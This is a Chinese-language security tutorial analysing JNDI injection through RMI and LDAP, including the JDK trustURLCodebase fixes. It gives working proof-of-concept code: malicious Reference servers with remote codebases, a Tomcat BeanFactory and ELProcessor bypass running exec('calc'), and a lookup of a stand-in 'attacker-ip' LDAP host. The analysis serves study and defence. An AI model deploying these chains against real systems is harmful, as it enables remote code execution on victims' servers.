xiao1star2025-12-26文章来源:SecHub网络安全社区
JNDI(Java Naming and Directory Interface) 是一个用于统一访问命名和目录服务的API。它的核心目的是为Java应用程序提供一种标准化的方式,来查找和访问各种命名和目录服务(如数据库连接、消息队列、远程对象等),而无需关心底层服务的具体实现细节。为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。例如使用JNDI定位数据库服务或一个远程Java对象或者在局域网上定位一台打印机
JNDI 体系结构由 API 和服务提供商接口 (SPI) 组成。Java 应用程序使用 JNDI API 访问各种命名和目录服务。SPI 允许透明地插入各种命名和目录服务,从而允许使用 JNDI API 的 Java 应用程序访问其服务。如下图所示:

JNDI 包含在 Java SE 平台中。要使用 JNDI,您必须具有 JNDI 类和一个或多个服务提供者。JDK 包括以下命名/目录服务的服务提供商:
在JDNI中可以运行创建如下5种不同类型的对象,并将他们存储在目录中
1.java可序列化对象
2.可应用对象和JNDI引用
3.具有属性的对象
4.RMI(Java远程方法调用)对象
5.CORBA对象
环境:jdk_8u65
现在我们看一下JNDI如何与RMI结合到一起的
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException {
RemoteItf remote = new RemoteImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("remoteItf", remote);
}
}
import javax.naming.InitialContext;
public class JNDIRMIServer {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();//初始化上下文
initialContext.rebind("rmi://localhost:1099/remoteItf", new RemoteImpl());//将创建的远程对象绑定到上下文中
}
}
import javax.naming.InitialContext;
public class JNDIRMIClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
//通过 JNDI 查找 RMI 远程对象
RemoteItf remoteItf = (RemoteItf) initialContext.lookup("rmi://localhost:1099/remoteItf");
//调用远程对象的方法
String jdnirmi = remoteItf.Hello("jdnirmi");
System.out.println(jdnirmi);
}
}
运行之后的结果

可以看到成功回显内容,那么我们就会想这样的效果是如何实现的,会不会和普通RMI的实现机制一致呢。接下来我们看一下实现机制
进入initialContext.lookup方法

来到这里方法调用了getURLOrDefaultInitCtx的lookup方法

进入该方法之后可以看到又调用了RegistryContext的lookput方法

接下来来到这个方法中可以看到是调用的RegistryImpl_Stub的lookup方法,这个方法就和RMI中的那个一样了,后面会调用一个invoke方法,然后调用execute方法,这里里面是由反序列化漏洞的

也就说如何我们lookup的参数值可控,我们查找一个恶意的远程对象就会导致漏洞的出现,但这个不是传统的jdni注入

传统的JNDI注入是绑定的引用对象,也就是这个Reference对象
import javax.naming.InitialContext;
import javax.naming.Reference;
public class JNDIRMIServer {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();//初始化上下文
// initialContext.rebind("rmi://localhost:1099/remoteItf", new RemoteImpl());//将创建的远程对象绑定到上下文中
Reference reference = new Reference("Hello", "Hello", "http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteItf", reference);
}
}
Reference构造方法中第一个是class的名字。第二个是工厂名字。第三个是工厂位置

这个Hello.class中是一个使用runtime弹出计算机的操作

接着运行JDNIClient类成功实现弹出计算机的操作

首先看一眼JNDIRMIServer类的绑定逻辑

从下图可以看到一路的rebind流程

在最后发现最后是来到了是我们这个RegistryContext类中,将我们的rebind中的第二个参数进行了一次encodeObject方法。也就是我们的参数reference
至于为什么会来达到RegistryContext类呢,这是因为jndi中,不同的协议对应这不同的context类,对于RMI就是这个registry

下面来到RegistryContext类的encodeObject方法中可以看到将我们reference参数进行了类型的转换,变成了ReferenceWrapper类型

之后将我们的参数进行了wirteObject序列化操作


下面来到这里调用了getURLOrDefaultInitCtx(name).lookup(name)

进入这个lookup方法中,首先是获取到url的上下文和剩余名称(remaining name),然后获取获取解析后的上下文对象,之后又调用了RegsitryContext的lookup方法

可以看到来到了RegsirtyContext类中,我们的var1是不为空的,又调用了RegistryImpl_Stub的lookup方法,从服务端找到我们的远程对象,之后又将获取到的var2进行了decodeObject相当于解密一样,因为我们在服务端绑定时进行了encodeObject方法

接下来就来到这个decodeObject方法中,看到先是进行了一个判断参数是否属于RemoteReference类或其子类,如是就调用他的getReference方法,然后调用了一个getObjectInstance方法

这个方法最后又将参数类型改为Reference类型

可以看到这个Reference参数里面的内容不就是我们在服务端创建的吗

接下来来到getObjectInstance方法中,可以看到下面有一个getObjectFactoryFromReference方法,用于获取对象工厂的Reference

来到这个方法中,首先是调用了一个loadClass进行类加载,从第二个图可以看到调用的是AppClassLoader,在本地进行加载,很明显本地是没有。在图三可以看到clas是为null的



接着再往下,进入if语句中,通过codebase也就是我们这个url来去调用loadClass

首先是获取了上下文的ClassLoader,然后新建了一个URLClassloader对象将我们的codebase传了进去,后面又调用了loadClass

可以看到下面这个loadClass方法就是通过我们所给的url路径来完成类加载,进而完成类的初始化,可以执行所对应类的静态代码块中的代码,因为我的弹出计算机操作是写在静态代码块中的,所以在这里就弹出来了

结束这个类加载,下面对这个类还调用了newInstance方法,进行初始化操作

这里可以看出如果JDNIRMIClient的lookup参数可以控制,然后如果我们这里有一个恶意的服务端类似于JDNIRMIServer,然后这个里面传入的是一个恶意的.class文件,将这个恶意的服务器的rmi地址作为lookup的参数,实现类加载导致这个.class文件被执行,即可实现攻击

在这个漏洞之后在16年的10月份进行了修复也就是jdk_8u121以及之后的版本都修复了这个漏洞,要知道RMI对应的是RegistryContext类,在这个类中加入了一个静态成员变量,且默认是false

再往下对trustURLCodebase进行了判断,如果为其false的话,就会抛出异常,只有我们手动修改才可以

如下图这是jdk8u401中的内容,可以看到如果TrustURLCodebaes如果为false的话就直接抛出异常,无法进行getObjectInstance操作,也就无法进行后续的类加载操作

同时在CNCtx类中加入了trustURLCodebase成员变量,也默认设置为false

LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。LDAP目录服务是由目录数据库和一套访问协议组成的系统。
每一个系统、协议都会有属于自己的模型,LDAP也不例外,在了解LDAP的基本模型之前我们需要先了解几个LDAP的目录树概念:
(一)目录树概念


环境:jdk_8u65
使用工具创建一个新的LDAP服务

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.io.IOException;
public class JNDILDAPServer {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("Hello", "Hello", "http://127.0.0.1:7777/");
initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com",reference);
}
}

import javax.naming.InitialContext;
public class JNDILDAPClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
}
}
接下来开启对应的.class文件下的http服务

先后运行服务端和客户端,成功弹出计算器

下面分析一下客户端弹出计算机原因,也就是分析一下lookup方法,

来到了initialContext类中,首先是获取到url中的默认初始上下文,接着去调用其lookup方法

接着来到ladpURLContext类下的lookup方法,要知道检查 LDAP URL 中是否包含问号(?)及其后续的查询参数部分,若有就抛出异常;之后又调用了父类的lookup方法

接着就来到GenerialURLContext类下的lookup方法,首先是获取根URL下的上下文,然后获取其ResovledObj对象,之后调用了lookup方法


来到如下方法中,该方法是用于通过递归或链式调用来查找指定名称(Name对象)对应的对象,接着我们来到p_look方法中

接着来到p_lookup方法中,可以看到后面会来到该类的c_lookup方法中

进入c_lookup方法中

后面来到是Obj类的decodeObject方法中,在这个方法里面就是对我们的对象的类型进行判断,要知道我们JNDI允许四种,而我们的对象属于引用类型,所以就调用了decodeReference方法,decodeReference方法很长,具体内容就是得到了所绑定的引用中工厂名和class名以及工厂地址等信息


可以看到下图经过decodeObject方法后的内容

再往下来到LDAPCtx就调用了getObjectInstance方法,注意在高版本中没有像RMI一样对这个Context类做限制,而是对其他地方做了限制

在getObjectInstance方法中,方法很长,直接是来到下图,先是获取了工厂的类名,然后就调用了getObjectFactoryFromReference方法

接着来到了NamingManager的getObjectInstance方法中,这个和前面分析的RMI与JNDI结合是一样的,也是通过所给的url地址,直接进行了类加载

进入第二个helper.loadClass方法中,来到的是VersionHelper12类中,首先获取当前线程的上下文类加载器(parent),作为父类加载器,然后根据传入的codebase(代码库的URL字符串)生成一个URL数组,并以parent作为父类加载器,创建一个新的URLClassLoader实例,接着在将classname与新创建的ClassLoader实例作为参数又调用了一次loadClass方法

在该方法中调用forName进行了初始化就会调用静态代码块

到这里就分析完了
在18年就对这个漏洞进行了修复再就是在8u191之前都是存在这个漏洞的,在VersionHelper12中也是加入trustURLCodedase验证,其默认是为false的,所有需要手动修改为true才可以


如下图所示是jdk8u401修复的内容,在里面可以看到加入了trueURLCOdebase的判断

**环境:**jdk8U401
但jdk版本大于等于jdk8u191,之后再用之前的实现jndi注入就无法实现了,接下来讲一下如何进行高版本绕过
在RMI与JNDI结合中,高版本的限制在了RegisryContent类下的decodeObject方法中
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
Reference var8 = null;
if (var3 instanceof Reference) {
var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {
var8 = ((Referenceable)((Referenceable)var3)).getReference();
}
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
上面东西太多了,主要是下面内容
if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}
我们是想要进入到NamingManager.getObjectInstance中,然后进行类加载完成攻击,那么我们就不能进入If语句中,那么就有三种情况:
var8.getFactoryClassLocation()为nulltrustURLCodebase为true下面谈谈上面几种情况实现的可能性:
var8.getFactoryClassLocation()为null,就需要使得classFactoryLocation成员属性为空,这个属性表示引用所指向对象的对应 factory 名称,对于远程代码加载而言是远程代码的 URL 地址例如前面的http://127.0.0.1:7777/,这正是我们针对低版本的利用方法;如果对应的 factory 是本地代码,则该值为空
trustURLCodebase为true,系统默认就将其设置了false,实现的可能微乎其微在JNDI与LDAP中,在VersionHelp12类的做了trustURLCodebase限制,想要让他为true几乎不可能,那么就需要我们往前看看是如何来到这个方法里的

往前找就来到了NamingManager的getObjectFactoryFromReference方法,可以看到首先是进行了一个本地的类加载,但是因为我们是通过开启一个http服务进行了远程类加载,所以直接就来到第二个loadClass方法中,进而来到了VersionHelp12类中,但是高版本有对该类的方法进行了限制,现在若本地的工厂有我们可以利用的点,然后我们找他,然后实现本地的类加载,进而完成攻击

如果我们使得RMI和LDAP都实现高版本绕过,现在我们就需要找一个本地的工厂,然后跳过RegistryConetxt类中的decodeObject方法中if语句调用NamingManager.getObjectInstance方法,然后进入 getObjectFactoryFromReference方法,调用loadClass方法时进行本地类加载
接下来就有一个BeanFactory类十分符合我们的要求
那么在tomcat8.5.58以下中有一个BeanFactory类的getObjectInstance方法,其会加载Reference包裹的类,并对其进行实例


然后就是获取Reference对象的Addrs参数集合中AddType是forceString的String参数,然后将所得到的参数按照,分割开来赋值给param,接着又将param按照=分割,=前的赋值给param,=后面的赋值给setterName,然后利用反射获取到Reference包裹的类中名字为setterName的值的方法,其中参数类型是String类型,接着将param与反射获取到的方法put到hashmap中

接着就是获取到前面的参数类型为String类型的的方法,并按照param从Adds中获取到的String对象作为参数去反射调用该方法

如下是tomcat8.5.93版本,在该版本中对forceString进行了移除操作,若有该字段就会进行报错处理

在利用链中也使用了ELProcessor类,这是因为该类中正好又可以只传一个String参数就可以执行攻击的代码
在maven项目的pom.xml中导入tomcat依赖
<dependencies>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.57</version> <!-- Tomcat 8.5.57 版本 -->
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-websocket</artifactId>
<version>8.5.57</version> <!-- Tomcat 8.5.57 版本 -->
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-jasper</artifactId>
<version>8.5.57</version> <!-- Tomcat 8.5.57 版本 -->
</dependency>
</dependencies>
import org.apache.naming.ResourceRef;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
public class JNDIRMIServerBypass
{
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true,
"org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));
initialContext.rebind("rmi://localhost:1099/remoteItf", resourceRef);
}
}
运行之后成功弹出计算机

可以看到实现JNDI注入就是通过引用来实现类加载(不管是本地加载还是远程加载)进而导致恶意代码的执行
攻击端
受害端
客户端执行可控代码:context.lookup(“ldap://attacker-ip:1389/Exploit”)
JNDI客户端请求LDAP服务
LDAP返回恶意Reference对象
客户端解析Reference时
从codebase指定URL动态加载
实例化恶意类触发构造函数/static代码块
https://docs.oracle.com/javase/jndi/tutorial/objects/storing/index.html
https://hg.openjdk.org/jdk8u/jdk8u/jdk/log?rev=registrycontext
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/28d4d67065ab
https://xz.aliyun.com/news/16156